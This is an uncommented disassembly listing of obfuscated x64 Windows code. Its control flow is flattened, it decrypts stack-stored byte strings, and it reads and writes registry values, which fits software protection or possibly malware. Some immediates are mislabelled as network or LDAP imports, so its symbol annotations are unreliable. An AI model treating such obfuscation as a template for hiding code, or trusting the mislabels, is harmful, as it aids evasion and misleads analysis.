movzx eax, dl
dec rbx
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d0b02
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d128c
mov ecx, Ordinal_60
movzx r10d, bl
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400d147c
inc rax
cmp r8, rax
jne 0x1400d12b7
lea ecx, [rbx + 0x5a]
inc r9
movzx eax, cl
dec rbx
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x76
inc rbx
jmp 0x1400d0b02
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d12dd
lea ecx, [rbx + 0x76]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x3a
add r8, r9
jmp 0x1400d14e2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d0f98
lea ecx, [rbx - 0x22]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x12
jmp 0x1400d1518
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d133a
lea edx, [rbx - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, dil
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d0b02
cmp r8, rcx
jne 0x1400d135c
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x68
add r8, r9
jmp 0x1400d14e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d0f5b
movzx r10d, bl
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x18
jmp 0x1400d147c
movzx ecx, byte [rsp + rbx + 0x40]
movzx r10d, bl
lea edx, [r10 - 0x70]
movzx eax, dl
and al, dil
sub cl, al
add cl, 8
lea r11d, [rcx + rcx]
add r11b, dl
add r10b, 0x6a
mov ecx, reloc.WS2_32.dll_listen
movzx eax, r10b
and al, dil
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r11b
mov byte [rsp + rbx + 0x40], cl
add r8, r9
jmp 0x1400d14e2
lea edx, [rbx + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d1518
lea ecx, [rbx + 0x36]
movzx eax, cl
and al, dil
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r11d, [rdi + rcx]
sub r11b, 0x7a
inc rbx
jmp 0x1400d0b02
lea edx, [rbx + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x1400d14b0
lea edx, [rbx - 2]
mov ecx, 7
movzx eax, dl
dec rbx
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc rbx
jmp 0x1400d0b02
movzx r10d, bl
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x1a
jmp 0x1400d147c
movzx r10d, bl
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x42
sub r10b, 0x4a
mov ecx, 3
movzx eax, r10b
and al, dil
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
mov byte [rsp + rbx + 0x40], cl
inc r9
dec rbx
inc rbx
jmp 0x1400d0b02
lea edx, [rbx + 0x5e]
mov ecx, gethostname
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
jmp 0x1400d14e2
lea rdx, [rbx + r15]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d0b02
lea rcx, [rbx + r13]
mov eax, reloc.WLDAP32.dll_Ordinal_35
movzx edi, r10b
and r10b, cl
sub al, r10b
lea r11d, [rax + rax]
add r11b, cl
add r11b, dil
lea edx, [rbx + 0x1e]
inc r9
movzx eax, dl
mov ecx, reloc.WS2_32.dll_socket
and al, dil
sub cl, al
add cl, cl
add cl, dl
add cl, dil
movzx eax, cl
mov byte [rsp + rbx + 0x40], al
add rax, r9
sub rbx, rax
lea edx, [rbx - 8]
inc r8
movzx eax, dl
mov ecx, Ordinal_32
and al, dil
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, dil
mov byte [rsp + rbx + 0x40], cl
add rbx, rax
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d0b02
lea rdx, [rbx + r12]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d0b02
add bl, 0x42
mov ecx, Ordinal_27
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1400d0b00
sub bl, 0x72
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1400d0af0
lea r8, [rbp + 0x17ca5b8]
jmp 0x1400d1600
lea r8, [rbp + 0x823592]
jmp 0x1400d1600
lea r8, [rsp + 0x40]
mov rcx, qword [rbp + 0x270]
lea rax, [rbp + 0x260]
mov qword [rsp + 0x30], rax
xor r13d, r13d
lea rax, [rbp + 0x268]
xor edx, edx
mov qword [rsp + 0x28], rax
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400d39ad
cmp dword [rbp + 0x268], 1
jne 0x1400d39ad
movzx r11d, byte [rbp + 0x260]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov dword [rbp + 0x268], r13d
movabs r14, 0xcbc204b7a6fbe676
mov dword [rsp + 0x60], 0xe5e3df09
movabs r12, 0x924e210590e34d3a
mov dword [rsp + 0x64], 0x47e2e4dc
movabs r15, 0x63460e26f4f3b362
nop
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, r13
cmp rdi, 0x18
jae 0x1400d20f1
movzx ebx, byte [rsp + rdi + 0x60]
mov r10, rbx
cmp r8, rdi
ja 0x1400d20e8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d16e3
lea rcx, [rdi + r14]
movzx eax, r10b
and al, cl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x3a
add r11b, cl
jmp 0x1400d1720
je 0x1400d2076
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d1ffd
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d1fcd
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d1fae
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d1f87
nop dword [rax]
cmp r9, rdi
ja 0x1400d20df
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400d1751
lea ecx, [rdi - 0x52]
mov r11d, Ordinal_32
movzx eax, cl
and al, bl
sub r11b, al
add r11b, r11b
add r11b, cl
add r11b, bl
jmp 0x1400d1791
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d1f44
inc rax
cmp r8, rax
je 0x1400d1f25
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d1f0c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d1eef
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d1ed4
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d1bb1
nop
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d1b92
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d1b70
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d1b4c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d1b2d
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d1b0f
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d1af6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d1ad8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d17a0
lea r8, [r9 + 0x28]
lea r9, [r8 + 5]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d20bf
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d20a4
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d191f
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d1902
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d18e5
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d1a89
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d1a14
lea r8, [r9 + 4]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d19ed
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d19cf
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400d19b2
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d1994
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d197b
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d195c
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400d193d
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x42]
jmp 0x1400d17a0
lea edx, [rdi + 0x12]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x7e
add r11b, dl
jmp 0x1400d1791
lea edx, [rdi + 0x26]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0xa
add r11b, dl
jmp 0x1400d1720
lea edx, [rdi + 0x3a]
mov ecx, gethostname
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d16b2
lea ecx, [rdi - 0x68]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x28
inc rdi
jmp 0x1400d16a3
mov ecx, Ordinal_41
lea edx, [rdi - 0x54]
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d1e8b
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x1400d1fe1
lea edx, [rdi - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d1fe4
lea edx, [rdi - 0x18]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x1400d201a
lea edx, [rdi - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d203e
lea ecx, [rdi + 0x10]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x70
inc rdi
jmp 0x1400d16a3
lea edx, [rdi - 0x16]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x66
add r11b, dl
cmp r8, 0x40
jae 0x1400d1e70
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400d1d8a
lea edx, [rdi - 0x34]
mov ecx, gethostname
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 5
jb 0x1400d1e63
movzx ecx, bl
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 4]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x38]
jmp 0x1400d1f61
mov ecx, 7
lea edx, [rdi - 2]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x1400d1eb2
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400d1c9b
mov ecx, reloc.WS2_32.dll_socket
lea edx, [rdi + 0x1e]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d1a29
lea edx, [rdi + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d201a
lea ecx, [rdi + 0x50]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
jmp 0x1400d1fe4
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d1fe1
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x78]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x48
jmp 0x1400d1e8b
lea edx, [rdi - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d16a3
lea ecx, [rdi - 0x60]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
inc rdi
jmp 0x1400d16a3
mov ecx, 0xa
lea edx, [rdi - 0x4c]
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d1f5e
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400d1bd4
lea edx, [rdi + 0x76]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x3a
jmp 0x1400d1a9f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1bf8
mov ecx, 0x3e
lea edx, [rdi + 0x5c]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d208e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d1c1e
lea edx, [rdi + 0x34]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x1400d201a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d1c47
mov ecx, Ordinal_32
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 8]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d1e8b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d1c6f
lea ecx, [rdi - 0x1c]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3c
inc rdi
jmp 0x1400d16a3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d1aa2
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 - 0x44]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x24
jmp 0x1400d1f5e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1cc3
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0xa]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x46
jmp 0x1400d1f5e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d1ceb
lea ecx, [rdi - 0x1e]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2e
inc rdi
jmp 0x1400d16a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d1d14
mov ecx, Ordinal_50
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x32]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d1e8b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d1d3b
lea edx, [rdi - 0x5a]
mov ecx, Ordinal_60
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d1fe4
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d1d62
lea edx, [rdi - 0x6e]
mov ecx, 1
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d201a
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d1a2c
mov ecx, reloc.WS2_32.dll_listen
lea edx, [rdi + 0x6a]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d208e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1dba
lea ecx, [rdi - 0x48]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 8
inc rdi
jmp 0x1400d16a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d1de1
lea edx, [rdi - 0x70]
mov ecx, 8
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d201a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d1e09
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x54]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x4c
jmp 0x1400d1e8b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d1e36
lea edx, [rdi + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d16a3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d1a5c
mov ecx, Ordinal_45
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x18]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d1f5e
mov byte [rsp + rdi + 0x60], r11b
inc rdi
jmp 0x1400d16a3
movzx ecx, byte [rsp + rdi + 0x60]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x10]
and al, dl
sub cl, al
add cl, 0x38
lea r11d, [rcx + rcx]
add r11b, dl
add r10b, 0x66
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
add cl, r10b
mov byte [rsp + rdi + 0x60], cl
jmp 0x1400d1fe1
lea edx, [rdi - 0x24]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, byte [rsp + rdi + 0x60]
sub r11b, 4
add r11b, dl
jmp 0x1400d201a
mov ecx, reloc.WS2_32.dll_setsockopt
lea edx, [rdi - 6]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d208e
lea edx, [rdi + 0xe]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x62
add r11b, dl
jmp 0x1400d203e
lea ecx, [rdi + 0x4a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 6
jmp 0x1400d1fe1
lea ecx, [rdi + 0x72]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1e
inc rdi
jmp 0x1400d16a3
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 - 0x66]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x36
add r11b, dl
movzx eax, bl
add r10b, 0x7a
and al, r10b
inc r9
add al, al
sub bl, al
sub bl, 0x56
add bl, r10b
mov byte [rsp + rdi + 0x60], bl
dec rdi
inc rdi
jmp 0x1400d16a3
lea edx, [rdi - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400d16a3
lea ecx, [rdi - 0x16]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x66
dec rdi
inc rdi
jmp 0x1400d16a3
lea ecx, [rdi + 0x12]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7e
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d16a3
lea rcx, [rdi + r12]
movzx ebx, r10b
and r10b, cl
mov eax, gethostname
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
lea edx, [rdi + 0x52]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x3e
add cl, dl
movzx eax, cl
mov byte [rsp + rdi + 0x60], al
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x38]
movzx eax, bl
and al, cl
inc r8
add al, al
sub bl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub bl, 0x78
add bl, cl
mov byte [rsp + rdi + 0x60], bl
add rdi, rax
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d16a3
mov ecx, reloc.WLDAP32.dll_Ordinal_41
lea rdx, [rdi + r15]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d16a3
add dil, 0x4e
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x22
jmp 0x1400d16a0
add dil, 0x62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1400d1690
lea rdx, [rbp + 0x17ed6a8]
jmp 0x1400d20f6
lea rdx, [rbp + 0xfabd1e]
jmp 0x1400d20f6
lea rdx, [rsp + 0x60]
mov rcx, qword [rbp + 0x270]
lea rax, [rbp + 0x268]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400d39ad
movzx r10d, byte [rbp + 0x260]
xor eax, eax
mov qword [rbp + 0x180], rax
movabs rsi, 0x8351d9f069a46921
mov dword [rbp + 0x100], 0x687a740b
movabs r14, 0x89f58dd13ced3b63
mov dword [rbp + 0x104], 0x7e7d1622
mov dword [rbp + 0x108], 0x7c70627a
mov dword [rbp + 0x10c], 0x6e287b7b
mov dword [rbp + 0x110], 0x78346879
mov dword [rbp + 0x114], 0x6b7e7e60
mov dword [rbp + 0x118], 0x743c7175
mov dword [rbp + 0x11c], 0xf387568
mov dword [rbp + 0x120], 0xd441809
mov dword [rbp + 0x124], 0x4f120a09
mov dword [rbp + 0x128], 0x4111a02
mov dword [rbp + 0x12c], 0x1b031d04
mov dword [rbp + 0x130], 0x2135544
mov dword [rbp + 0x134], 0x14025109
mov dword [rbp + 0x138], 0x75c1115
mov dword [rbp + 0x13c], 0x2c06590b
mov dword [rbp + 0x140], 0x3d2b393b
mov dword [rbp + 0x144], 0x3e07613e
mov dword [rbp + 0x148], 0x5b6c3335
mov dword [rbp + 0x14c], 0x26226947
mov dword [rbp + 0x150], 0x38467528
mov dword [rbp + 0x154], 0x7f2e2a14
mov dword [rbp + 0x158], 0x227c2c22
mov dword [rbp + 0x15c], 0x952d272b
mov dword [rbp + 0x160], 0xc8dab586
mov dword [rbp + 0x164], 0xa480dcdf
mov dword [rbp + 0x168], 0xd5c7d1dc
mov dword [rbp + 0x16c], 0x97d9d58a
mov dword [rbp + 0x170], 0xcfc9dec8
mov dword [rbp + 0x174], 0x9fcccfdd
mov dword [rbp + 0x178], 0x9bd7d5c2
mov dword [rbp + 0x17c], 0x478ab4aa
nop dword [rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, r13
cmp rdi, 0x88
jae 0x1400d2dd6
movzx ebx, byte [rbp + rdi + 0x100]
mov rdx, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400d2dcd
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d22ed
lea rcx, [rdi + rsi]
movzx eax, dl
and al, cl
movzx r10d, dl
add al, al
sub r10b, al
add r10b, 0x19
add r10b, cl
jmp 0x1400d2310
je 0x1400d2d63
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d2d33
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d2cf6
nop dword [rax]
cmp r9, rdi
ja 0x1400d2dc4
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400d233a
lea r10d, [rdi - 0x4b]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0xd
add r10b, bl
jmp 0x1400d2390
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d2cb0
inc rax
cmp r8, rax
je 0x1400d2c8e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d2c75
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d2c5c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d2bdf
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d2bb5
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d28df
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d28c1
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d289f
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d287b
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d2858
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d283f
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d2826
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d280d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d27ef
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d27c0
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d23a0
lea r8, [r9 + 4]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400d2da9
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d2d8e
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d258a
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d256f
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d2554
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d2777
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400d2731
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d26f1
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d26cd
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d23a0
lea r8, [r9 + 4]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d26a3
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d2685
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d2667
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d2649
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d2630
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d2613
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d25ef
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d25c8
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d25a5
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d23a0
lea r8, [r9 + 4]
lea r9, [r8 + 0x10]
jmp 0x1400d23a0
lea r10d, [rdi - 0x15]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x6d
add r10b, bl
jmp 0x1400d2390
lea r10d, [rdi - 0x57]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x61
add r10b, bl
jmp 0x1400d2310
lea r10d, [rdi + 0x67]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x2f
add r10b, bl
jmp 0x1400d22b8
lea ecx, [rdi - 0x58]
mov r10d, gethostname
movzx eax, cl
movzx r11d, dil
and al, bl
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, bl
jmp 0x1400d2ccd
lea edx, [rdi + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, dl
inc r9
and al, bl
dec rdi
